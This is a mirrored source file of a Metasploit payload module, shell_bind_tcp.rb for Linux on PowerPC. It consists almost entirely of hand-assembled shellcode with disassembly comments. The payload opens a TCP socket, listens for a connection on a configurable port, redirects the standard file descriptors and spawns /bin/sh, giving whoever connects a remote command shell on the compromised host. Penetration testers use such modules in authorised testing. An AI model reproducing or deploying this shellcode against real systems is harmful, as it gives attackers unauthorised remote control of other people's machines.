CoCalc -- shell_bind

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb
²¹⁵⁴⁷ views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 223
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Linux::Ppc::Prepends
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Linux Command Shell, Bind TCP Inline',
18
        'Description' => 'Listen for a connection and spawn a command shell',
19
        'Author' => 'Ramon de C Valle',
20
        'License' => MSF_LICENSE,
21
        'Platform' => 'linux',
22
        'Arch' => [ ARCH_PPC, ARCH_CBEA ],
23
        'Handler' => Msf::Handler::BindTcp,
24
        'Session' => Msf::Sessions::CommandShellUnix,
25
        'Payload' => {
26
          'Offsets' =>
27
                  {
28
                    'LPORT' => [ 58, 'n' ]
29
                  },
30
          'Payload' =>
31
                       "\x7f\xff\xfa\x78" + #   xor     r31,r31,r31                #
32
                       "\x3b\xa0\x01\xff" + #   li      r29,511                    #
33
                       "\x3b\x9d\xfe\x02" + #   addi    r28,r29,-510               #
34
                       "\x3b\x7d\xfe\x03" + #   addi    r27,r29,-509               #
35
                       "\x97\xe1\xff\xfc" + #   stwu    r31,-4(r1)                 #
36
                       "\x97\x81\xff\xfc" + #   stwu    r28,-4(r1)                 #
37
                       "\x97\x61\xff\xfc" + #   stwu    r27,-4(r1)                 #
38
                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
39
                       "\x38\x7d\xfe\x02" + #   addi    r3,r29,-510                #
40
                       "\x38\x1d\xfe\x67" + #   addi    r0,r29,-409                #
41
                       "\x44\xff\xff\x02" + #   sc                                 #
42
                       "\x7c\x7a\x1b\x78" + #   mr      r26,r3                     #
43
                       "\x3b\x3d\xfe\x11" + #   addi    r25,r29,-495               #
44
                       "\x3e\xe0\xff\x02" + #   lis     r23,-254                   #
45
                       "\x62\xf7\x04\xd2" + #   ori     r23,r23,1234               #
46
                       "\x97\xe1\xff\xfc" + #   stwu    r31,-4(r1)                 #
47
                       "\x96\xe1\xff\xfc" + #   stwu    r23,-4(r1)                 #
48
                       "\x7c\x36\x0b\x78" + #   mr      r22,r1                     #
49
                       "\x97\x21\xff\xfc" + #   stwu    r25,-4(r1)                 #
50
                       "\x96\xc1\xff\xfc" + #   stwu    r22,-4(r1)                 #
51
                       "\x97\x41\xff\xfc" + #   stwu    r26,-4(r1)                 #
52
                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
53
                       "\x38\x7d\xfe\x03" + #   addi    r3,r29,-509                #
54
                       "\x38\x1d\xfe\x67" + #   addi    r0,r29,-409                #
55
                       "\x44\xff\xff\x02" + #   sc                                 #
56
                       "\x97\xe1\xff\xfc" + #   stwu    r31,-4(r1)                 #
57
                       "\x97\xe1\xff\xfc" + #   stwu    r31,-4(r1)                 #
58
                       "\x97\x41\xff\xfc" + #   stwu    r26,-4(r1)                 #
59
                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
60
                       "\x38\x7d\xfe\x05" + #   addi    r3,r29,-507                #
61
                       "\x38\x1d\xfe\x67" + #   addi    r0,r29,-409                #
62
                       "\x44\xff\xff\x02" + #   sc                                 #
63
                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
64
                       "\x38\x7d\xfe\x06" + #   addi    r3,r29,-506                #
65
                       "\x38\x1d\xfe\x67" + #   addi    r0,r29,-409                #
66
                       "\x44\xff\xff\x02" + #   sc                                 #
67
                       "\x7c\x75\x1b\x78" + #   mr      r21,r3                     #
68
                       "\x7f\x64\xdb\x78" + #   mr      r4,r27                     #
69
                       "\x7e\xa3\xab\x78" + #   mr      r3,r21                     #
70
                       "\x38\x1d\xfe\x40" + #   addi    r0,r29,-448                #
71
                       "\x44\xff\xff\x02" + #   sc                                 #
72
                       "\x37\x7b\xff\xff" + #   addic.  r27,r27,-1                 #
73
                       "\x40\x80\xff\xec" + #   bge+    <bndsockcode+148>          #
74
                       "\x7c\xa5\x2a\x79" + #   xor.    r5,r5,r5                   #
75
                       "\x40\x82\xff\xfd" + #   bnel+   <bndsockcode+172>          #
76
                       "\x7f\xc8\x02\xa6" + #   mflr    r30                        #
77
                       "\x3b\xde\x01\xff" + #   addi    r30,r30,511                #
78
                       "\x38\x7e\xfe\x25" + #   addi    r3,r30,-475                #
79
                       "\x98\xbe\xfe\x2c" + #   stb     r5,-468(r30)               #
80
                       "\x94\xa1\xff\xfc" + #   stwu    r5,-4(r1)                  #
81
                       "\x94\x61\xff\xfc" + #   stwu    r3,-4(r1)                  #
82
                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
83
                       "\x38\x1d\xfe\x0c" + #   addi    r0,r29,-500                #
84
                       "\x44\xff\xff\x02" + #   sc                                 #
85
                       '/bin/sh'
86
        }
87
      )
88
    )
89
  end
90
end
91

92
Product

Resources

Company
